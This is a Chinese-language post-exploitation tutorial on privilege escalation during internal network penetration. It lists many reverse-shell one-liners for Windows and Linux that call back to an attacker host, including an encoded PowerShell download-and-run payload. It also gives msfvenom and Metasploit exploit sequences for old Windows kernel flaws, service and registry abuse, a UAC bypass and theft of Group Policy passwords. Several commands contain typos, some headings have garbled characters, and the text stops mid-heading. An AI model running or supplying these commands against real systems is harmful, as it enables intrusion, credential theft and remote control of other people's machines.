目录
Trusted Service Paths漏洞(可信任服务路径漏洞提权)
Windows TrackPopupMenu Win32k NULL指针解引用
Windows ClientCopyImage Win32k Exploit
MS16-032 Secondary Logon Handle提权
MS16-016 mrxdav.sys WebDav本地提权
MS13-053 ^]% NTUserMessageCall Win32k内核池溢出
EPATHOBJ^]%^]%pprFlattenRec本地提权
内网渗透之提权篇
对于内网渗透,到我们拿到了公网主机的权限后,并获得了一些本机的信息时。我们首先得知道我们的权限。如果获取到的是普通用户权限,则我们需要想办法提权至管理员权限。如果获得的已经是管理员权限,则可以忽略这一步。对于Windows系统,只有提权到管理员权限后,才可以运行mimikatz以及执行一些其他高权限的操作。对于Linux系统,很多命令需要root权限才能执行,只有提权到root权限才能执行后面的信息收集等工作。如果该主机不能提权至 管理员/root 权限的话,则我们要尽可能多的搜集该主机上的信息,然后对内网其他主机进行攻击,拿下另外的主机作为突破口。
Webshell
我们获得了一个Windows系统的普通用户权限,但由于低权限用户的很多操作将受到限制。导致我么们无法进行后渗透等行为。所以,我们会想法设法地将低权限用户提权到高权限用户。一般来说,那权限的过程一般是:Webshell、数据库权限——>系统普通用户权限——>Administrator权限——>System权限。反正,我们的最终目的就是拿到该主机的最高权限。
如果说我们通过web网站漏洞得到了webshell(一般来说是通过小马或者大马),该网站是以普通用户启动的。通过WebShell我们可以执行一些普通的系统命令,但是执行不了创建用户等高权限的系统命令。所以我们现在需要利用获得的WebShell提权以达到创建用户等高权限命令。
我们拿到了webshell的权限后一般来说是要通过shell反弹给攻击者的主机以便执行后面阶段的操作的。
关于WIndows系统的反弹shell命令的一些收集
1.这里我们运用metasploit框架下的exploit/multi/script/web_delivery模块进行反弹shell
msfconsole
use exploit multi/script/web_delivery
set srvhost=攻击者的ip
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost 攻击者的ip
exploit -j
regsvr32 /s /n /u /i:http://攻击者的ip:8080/FN02yMxB82Y.sct scrobj.dll
2.这里我们运用metasploit框架下的exploit/windows/smb/smb_delivery模块进行反弹shell
use exploit windows/smb/smb_delivery
set srvhost 本机ip
exploit -j
rundll32.exe \\攻击者的ip\dlsD\test.dll,0
3.
msfvenom -p windows/x64/meterpreter/reverse_tcp lhorst=攻击者的ip lport=4444
-f hta-psh -o 1.hta
msf6> handler -p windows/x64/meterpreter/reverse_tcp -H 攻击者的ip -P 4444
python -m SimpleHTTPSever 8000
mshta.exe http://攻击者的ip:8000/1.hta
4.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=1234
-f exe > shell.exe
python -m SimpleHTTPSever 8000
certuil.exe -urlcache -split -f http://攻击者的ip:8000/shell.exe shell.exe&shell.exe
certuil.exe -urlcache -split -f http://攻击者的ip:8000/shell.exe delete //删除
5.这里我们运用metasploit框架下的exploit/multi/script/web_delivery模块进行反弹shell。
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
expolit -j
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0
AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsAT
gBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBssAHMAMQAyADsAJABwAFEATQBGA
D0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKA
BbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGY
AYQB1AGwAdABQAHIAbwB4AHkAAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHAAUQBNAEYALgB
wAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkA
cwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABwAFEATQBGAC4AUAByAG8AeAB5AC4AQwByz
AD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAd
QBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAG
oAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAAUwB0AHIAaQBuAGcAKAAnAGgAdA
B0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwA0AEEAaQB1AFk
AVQBmADQALwA0AFUAbQBQAHIAZAA1AGsAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBq
AGUAYwB0ACAATgBlAHQALgBXpAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQA
dABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADcAOgA4ADAAOAAwAC8ANABBAGkAdQBZA
FUAZgA0ACcAKQApADsA
6.
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.107 lport=1234
-f msi > 1.msi
python -m SimpleHTTPServer 80
msiexec /q/i http://攻击者的ip/1.msi
关于Linux系统的反弹shell命令的一些收集
被控端:nc -lvvp 6666 -e /bin/sh
控制端:nc 本机ip 6666
-------------------------------------------------------------------------
没有-e参数的反弹shell:
控制端:nc -lvvp 6666
被控端:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 攻击机ip 6666 >/tmp/f
-------------------------------------------------------------------------
控制端:nc -lvvp 6666
被控端:mknod backpipe p;nc 攻击者ip 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
-------------------------------------------------------------------------
控制端:nc -lvvp 6666
被控端:bash -i >&/dev/tcp/攻击者ip/6666 0>&1
-------------------------------------------------------------------------
控制端:nc -lvvp 6666
被控端:exec 5<>/dev/tcp/攻击者ip/6666;cat <&5 | while read line;do $line 2>&5 >&5;done
bash64编码绕过:
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Lg1LzY2NjYgMD4mMQ==|base64 -d|bash -i"
-------------------------------------------------------------------------
Telnet:
控制端:nc -lvvp 6666
被控端:rm -f a && mknod a p && telnet 攻击者ip 6666 0<a | /bib/bash 1>a
-------------------------------------------------------------------------
Openssl反弹443端口:
1.在远程主机上生成密钥文件
openssl req -x509 -newkey rsa;4096 -keyout ket.pem -out cert.pem -days 365 -nodes
2.在远程主机上启动监视器
openssl s_sever -quiet -key key.pem -cert cert.pem -port 443
3.在目标机上反弹shell
mkfifo /tmp/s;bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 攻击者ip:端口 > /tmp/s;rm /tmp/s
---------------------------------------------------------------------------
python:
被控端:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
控制端:nc -lvvp 7777
---------------------------------------------------------------------------
php:
被控端:php -r '$sock=fsockopen("攻击机ip",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
控制端:nc -lvvp 4444
关于反弹shell的命令数不胜数,这里就列举几个常用的吧,毕竟这种东西网上一搜一大堆...
对于Windows系统的提权
在Windows系统中,权限大概分为四中,分别是:
* User:普通用户权限
* Administrator:管理员权限,可以利用Windows机制提升为System权限
* System:系统权限
* TrustedInstaller:Windows中最高权限。有些文件,连System权限也无法修改,只能TrustedInstaller权限修改。
内核溢出漏洞提权
背景:当我们通过反弹shell获得了普通用户的权限时首先我们要做的当然就是提权了。
系统内核溢出漏洞提权是一种通用的提权的方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁。
方法一:手动执行命令
下面两个代码任选其一输入,可以了解系统信息
systeminfo
wmic qfe get Caption, Description, HotFixID, InstalledOn //补丁的名称、介绍、ID、安装时间
攻击者利用方式:寻找提权的EXP,将已安装的补丁编号与提权的EXP进行对比,使用不在目标机里的编号EXP进行提权
wmic qfe get Caption, Description, HotFixID, InstalledOn | findstr /C:"KB3143141" /C:"KB2999226"
方法二:msf 后渗透模块
当我们通过msf得到了一个会话后可以使用此方法,先将shell放置后台,然后我们执行以下命令,如果执行成功系统会自动返回可以利用的提权模块,不过有时并不百分之百准确。
use post/multi/recon/local_expolit_suggester
set session 1
run
缺点:不是所有的exp都可以利用
方法三:Windows Exploit Suggester
具体使用方法就自己上网查吧,这里稍微偷个懒。
方法四:PowerShell中的 Sherlock脚本
Sherlock 脚本下载地址:https://github.com/rasta-mouse/Sherlock
作用:快速查找可能用于本地权限提升的漏洞(只是寻找漏洞,而不是利用)
MS10-015 : User Mode to Ring (用户模式到环 )(KiTrap0D)
MS10-092 : Task Scheduler (任务计划程序)
MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow (内核池溢出)
MS13-081 : TrackPopupMenuEx Win32k NULL Page (Null 页面)
MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference (空指针接触引用)
MS15-051 : ClientCopyImage Win32k
MS15-078 : Font Driver Buffer Overflow (字体驱动程序缓冲区溢出)
MS16-016 : 'mrxdav.sys' WebDAV
MS16-032 : Secondary Logon Handle (辅助登录句柄)
MS16-034 : Windows Kernel-Mode Drivers EoP (内核模式驱动程序 EoP)
MS16-135 : Win32k Elevation of Privilege (特权提升)
CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
在系统的 Shell 环境下,调用 Sherlock 脚本。可以搜索单个漏洞,也可以搜索所有未安装的补丁。
import-module Sherlock.ps1
Find-AllVulns
Windows错误配置提权
当攻击者使用其他提权方法无法提权时,就会利用系统中的配置错误来提权。Windows操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。
系统服务权限配置错误提权
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务是以System权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。
PowerUp.ps1利用
PowerUp.ps1脚本是PowerSploit目录 Privsec 下的一个脚本,功能非常强大。拥有很多用来寻找目标主机Windows服务配置错误来进行提权的模块。当我们无法通过 windows 内核漏洞进行提权的话,这个时候我们就可以利用该脚本来寻找目标主机上Windows服务配置错误来进行提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权。
我们来看下该脚本下模块的功能:
***Service Enumeration(服务枚举)***
Get-ServiceUnquoted //该模块返回包含空格但是没有引号的服务路径的服务
Get-ModifiableServiceFile //该模块返回当前用户可以修改服务的二进制文件或修改其配置文件的服务
Get-ModifiableService //该模块返回当前用户能修改的服务
Get-ServiceDetail //该模块用于返回某服务的信息,用法: GetServiceDetail servicename 服务名
***Service Abuse(服务滥用)***
Invoke-ServiceAbuse //该模块通过修改服务来添加用户到指定组,并可以通过设置 -cmd 参数触发添加用户的自定义命令
Write-ServiceBinary //该模块通过写入一个修补的C#服务二进制文件,它可以添加本地管理程序或执行自定义命令,Write-ServiceBinary与Install-ServiceBinary不同之处自安于,前者生成可执行文件,后者直接安装服务
Install-ServiceBinary //该模块通过Write-ServiceBinary写一个C#的服务用来添加用户,
Restore-ServiceBinary //该模块用于恢复服务的可执行文件到原始目录,使用:Restore-ServiceBinary -servicename 服务名
***DLL Hijacking(DLL注入)***
Find-ProcessDLLHijack //该模块查找当前正在运行的进程潜在的dll劫持机会。
Find-PathDLLHijack //该模块用于检查当前 %path% 的哪些目录是用户可以写入的
Write-HijackDll //该模块可写入可劫持的dll
***Registry Checks(注册审核)***
Get-RegistryAlwaysInstallElevated //该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,则意味着SAM文件是以System权限运行的
Get-RegistryAutoLogon //该模块用于检测Winlogin注册表的AutoAdminLogon项是否被设置,可用于查询默认的用户名和密码
Get-ModifiableRegistryAutoRun //该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径,被检查的注册表键值有以下:
HKLM\Software\Microsoft\Windows\CurrentVersino\Run
HKLM\Software\Microsoft\Windows\CurrentVersino\RunOnce
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\Software\Microsoft\Windows\CurrentVersion\RunService
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceService
***Miscellaneous Checks(杂项审核)***
Get-ModifiableScheduledTaskFile //该模块用于返回当前用户能够修改的计划任务程序的名称和路径
Get-Webconfig //该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文
Get-ApplicationHost //该模块利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码
Get-SiteListPassword //该模块检索任何已找到的McAfee的SiteList.xml文件的明文密码
Get-CachedGPPPassword //该模块检查缓存的组策略首选项文件中的密码
Get-UnattendedInstallFile //该模块用于检查以下路径,查找是否存在这些文件,因为这些文件可能含有部署凭据
C:\sysprep\sysprep.xml
C:\sysprep\sysprep.inf
C:\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml
***Other Helpers/Meta-Functions(其他一些模块的帮助)***
Get-ModifiablePath //该模块标记输入字符串并返回当前用户可以修改的文件
Get-CurrentUserTokenGroupSid //该模块返回当前用户参与的所有小岛屿发展中国家,无论它们是否已禁用。
Add-ServiceDacl //该模块将dacl字段添加到get-service返回的服务对象中
Set-ServiceBinPath //该模块通过Win 32 api方法将服务的二进制路径设置为指定的值。
Test-ServiceDaclPermission //该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改。如果能修改,则返回该服务对象。使用:Test-ServiceDaclPermission -servicename 服务名
Write-UserAddMSI //该模块写入一个MSI安装程序,提示要添加一个用户。
Invoke-AllChecks //该模块会自动执行 PowerUp.ps1 下所有的模块来检查目标主机是否存在服务配置漏洞
***检查是否存在配置错误漏洞(Invoke-Allchecks模块)***
powershell -exec bypass -c import-module .\PowerUp.ps1;Invoke-Allchecks -verbose
运行该脚本,该脚本会自动检查PowerUp.ps1下所有的模块,并在存在漏洞利用的模块下AbuseFunction中直接给出利用方法。VlunService服务存在漏洞,可以被利用。
然后,我们需要执行下面的命令进行提权。
write-servicebinary -servicename vulnservice -username "offensive\alice" -password Password! #该命令会在本目录下生成一个service.exe文件,该文件启动时会将用户offensive\alice提权到管理员组内。需要注意的是,这里的username必须是域内已经存在的用户,而password的话,则随便填,可以是这个域用户的正确密码,也可以随便指定密码,这对该域用户的密码无影响
cp .\service.exe "c:\program files\vuln service\vulnservice.exe" #复制本路径下的service.exe文件到指定的程序
然后我们要想办法重启系统,重启后会发现 offensive\alice 在管理员组内了。
msf利用
在msf中也集成了这一利用模块exploit/windows/local/service_permissions
如果当前的已经是管理员权限,则该模块会尝试创建并运行一个新的服务。
如果当前是低权限,则该模块会判断哪些服务的文件或文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
use exploit/windows/local/service_permissions
set session 1
set AutoRunScript migrate -f
run
注册表键AlwaysInstallElevated提权
Windows Installer是Windows操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer除了是一个安装程序,还用于管理软件的安装、管理软件组件的添加和删除,监视文件的还原、通过回滚进行灾难恢复等。Windows Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分,它们是一起工作的Windows Installer通过Msiexec.exe安装MSI文件包含的程序。MSI是Windows Installer的数据表,它实际上是一个数据库,包含安装和卸载软件时需要使用大量的指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft Update安装更新或安装一些软件的时候使用,占用内存较多。简单的说,双击MSI文件就会运行Msiexec.exe。
注册表键AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户已System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以System权限来安装恶意的MSI(MicrosoftWindows Installer)文件。
AlwaysInstallElevated提权原因,该漏洞产生的原因是用户开启了Windows Installer特权安装功能。
查看Windows installer特权功能是否已启用
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
下图是属于没有开启时的状态
通过命令行启用
使用系统权限通过命令行修改注册表值为1(不过一般实战情况下不太可能)
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
下图属于开启时的状态
msf利用
在msf框架中也集成了此漏洞的利用方式
首先先生成exe先获取一个meterpreter,然后使用exploit/windows/lcoal/always_install_elevated模块
use exploit/windows/lcoal/always_install_elevated
set session 1
run
此处转载自bye_X。
Trusted Service Paths漏洞(可信任服务路径漏洞提权)
可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows文件路径解析的特性,并涉及服务路径的文件、文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能性:
* 如果路径与服务有关,就任意创建一个服务或者编译Service模板。
* 如果路径与可执行文件有关,就任意创建一个可执行文件。
***可信任服务路径漏洞产生的原因***
因为Windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限运行。例如,有一个文件路径"C:\\Program Files\\Some Folder\\Service.exe",对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。在本例中,Windows会依次尝试确定和执行下列程序:
* C:\\Program.exe
* C:\\Program Files\\Some.exe
* C:\\Program Files\\Some Folder\\Service.exe
因此,如果一个被“适当”命名的可执行程序被上传到受影响的目录中,服务一旦重启,该程序就会以System权限运行。
msf利用
在msf中也有该漏洞的利用模块exploit/windows/local/unquoted_service_path。
use exploit/windows/local/unquoted_service_path
set session 1
set AutoRunScript migrate -f
run
计划任务提权
1.1 AT命令简介
AT命令是Windows XP中内置的命令,它也可以媲美Windows中的“计划任务”,而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
因为AT命令默认是以system权限下运行的所以我们可以利用以下命令,进行提权。
适用环境:Windows2003以前
at 13:38 /interactive cmd.exe #在13:38以system权限打开cmd
等到13:38 cms打开,权限是system权限,提权成功。
二、SC命令
因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权,下面是sc的百度解释。
SC命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
通俗理解就是 SC 可以启动一个服务。
适用范围: 适用于windows 7/8、03/08、12/16
sc Create systemcmd binPath= "cmd /K start" type= own type= interact #其中systemcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact, cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口。
sc start systemcmd #启动服务!
三、PS命令
适用范围: 适用于Win2003 & Win2008
微软官方工具包: https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
PS psexec.exe -accepteula -s -i -d cmd.exe
绕过UAC提权
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
需要UAC的授权才能进行的操作列表如下:
* 配置Windows Update
* 增加、删除账户
* 更改账户类型
* 更改UAC的设置
* 安装ActiveX
* 安装、卸载程序
* 安装设备驱动程序
* 将文件移动/复制到Program Files或Windows目录下
* 查看其它用户的文件夹
UAC有如下四种设置要求:
* 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
* 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
* 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
* 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
如何Bypass UAC
我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
以高权限运行的进程图标一般有如下标志:
我们win10以ComputerDefaults.exe作为bypass案例,ComputerDefaults.exe进程图标确实有个uac的标志(然后你双击打开会发现并没有UAC提醒)
我们利用ProcessMonitor对该进程的行为做一个监听:
先寻找HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\Command 注册表,然后发现键值不存在,再寻找HKCR:\\ms-settings\\Shell\\Open\\Command\\DelegateExecute
因此当我们修改hkcu注册表后,运行ComputerDefaults.exe就会得到一个bypass uac后的cmd
MSF下实战利用
MSF中Bypassuac模块的使用前提有两个:
1. 一是系统当前用户必须在管理员组中,
2. 二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我”
在msf的框架中集成了此漏洞的利用模块,在我们获得了一个seesions会话后执行以下代码。
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
set seesion 1
run
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率
set seesion 1
run
Runas模块
使用 exploit/windows/local/ask 模块,需要使用 EXE::Custom 选项创建一个可执行文件(需要免杀),目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell。
使用该模块的前提:
当前用户必须在管理员组中 或 知道管理员的密码,对UAC的设置则没有要求。
用户需要手动点击弹出的程序,是。
use exploit/windows/local/ask #创建一个可执行文件,目标机器会运行一个发起权限提升请求的程序,如果用户选择继续运行程序,就会返回一个高权限的用户
set session 1
run
Nishang中的Invoke-PsUACme.ps1
Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC.
Windows组策略首选项GPP提权
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在 C:\\Windows\\SYSVOL\\DOMAIN\\Policies\\ 目录中。
在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会修改本地管理员密码。尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。
常见的组策略首选项(Group Policy Preferences,GPP)列举如下:
* 映射驱动器(Drives.xml)
* 创建本地用户
* 数据源(DataSources.xml)
* 打印机配置(Printers.xml)
* 创建、更新服务(Services.xml)
* 计划任务(ScheduledTasks.xml)
组策略首选项提权
1:创建组策略,批量修改域中机器的本地管理员密码
2:获取组策略的凭据
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账号、密码的本地管理员计算机。在SYSVOL中搜索,可以找到Groups.xml文件。找到其中的cpassword字段,该字段是用AES-256算法加密的,root@123456 加密后的密文为Yw6hqEEKPZtyKUXpWd5UhxEZ13DAe64s9w8U7Sq55uw 。文件的路径在C:\Windows\SYSVOL\domain\Policies\{ABDAFB3B-920B-4A1A-9B47-B0D8721244D4}\Machine\Preferences\Groups\Group.xml
使用PowerShell获取cpassword
PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码。注意,我们只需要在域内任何一台以域用户权限登录的机器上均可查询到。
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
PowerSploit的下载地址:GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
使用MSF获取cpassword
MSF中 post/windows/gather/credentials/gpp 模块可以获取组策略中的密码。注意,我们只需要获取域内任何一台以域用户权限登录的机器的权限即可。
use post/windows/gather/credentials/gpp
set session 1
run
COM组件提权
COM组件是微软开发的一种新软件开发技术,在这个COM框架的下,可以开发出多功能的组件,可以根据自己的需求进行定制开发,替换旧的组件,多个功能组件组合到一起,从而形成了一个复杂的定制化多功能系统。
影响版本
Windows10,包括1511、1607、1703这三个版本
Windows 7 SP1
Windows 8.1、RT8.1
Windows Server 2008 SP2、2008R2 SP1
Windows Server 2012、2012R2
Windows Server 2016
MSF利用
在msf框架中也集成了该模块 exploits/windows/local/bypassuac_comhijack,在我们获得了一个seesion会话后执行以下命令提权。
use exploits/windows/local/bypassuac_comhijack
set session 1
run
Other
这里在写一些其它的提权方式
通过KiTrap0D提升Windows权限
#此模块将通过KiTrap0D exploit创建具有SYSTEM权限的新会话,如果当前使用的会话权限已提升,则exploit将不会运行。该模块依赖于kitrap0d.x86.dll,因此在x64版本的Windows上不受支持。
#该模块已在32位的Windows Server 2003,Windows Server 2008,Windows 7和XP易受攻击版本上进行了测试。
use exploit/windows/local/ms10_015_kitrap0d
set lhost xx.xx.xx.xx
set session 1
exploit #一但exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
Windows TrackPopupMenu Win32k NULL指针解引用
#此模块利用了win32k.sys中的NULL指针解引用,漏洞可通过TrackPopupMenu函数进行触发。在特殊情况下,我们可以滥用在xxxSendMessageTimeout上的NULL指针解引用,来实现任意代码执行操作。
#该模块已在Windows XP SP3,Windows Server 2003 SP2,Windows 7 SP1 Windows Server 2008 32位和Windows Server 2008 R2 SP1 64位上进行了测试。
use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
Windows ClientCopyImage Win32k Exploit
Windows内核模式驱动程序特权提升漏洞。此模块利用了win32k.sys内核模式驱动程序中的不正确对象处理进行提权。
该模块已在Windows7x64和x86,Windows2008R2SP1x64的易受攻击版本上进行了测试.
use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
Task Scheduler XML提权
#此漏洞发生在Task Scheduler中,可允许用户提升权限。如果攻击者登录到受影响的系统,并运行特制应用程序,则该漏洞可能允许特权提升。攻击者必须拥有有效的登录凭据,并且能够在本地登录才能成功利用此漏洞。远程或匿名用户则无法利用此漏洞。
#该模块已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻击版本上进行了测试。
use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
MS16-032 Secondary Logon Handle提权
#此模块利用了Windows Secondary Logon Service中缺少标准句柄过滤的问题。该漏洞主要影响Windows 7-10和2k8-2k12 32/64位版本。此模块仅适用于具有Powershell 2.0或更高版本的Windows系统,以及具有至少两个或以上CPU内核的系统。
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
MS16-016 mrxdav.sys WebDav本地提权
#此模块利用了mrxdav.sys中的漏洞。其将在目标系统生成一个进程,并在执行payload之前将其权限提升到NT AUTHORITY\SYSTEM。
#该模块已在Windows 7 SP1,x86架构的易受攻击版本上进行了测试.
use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit #一旦exploit成功执行,就会打开另一个Meterpreter session
getsystem
getuid
MS13-053 ^]% NTUserMessageCall Win32k内核池溢出
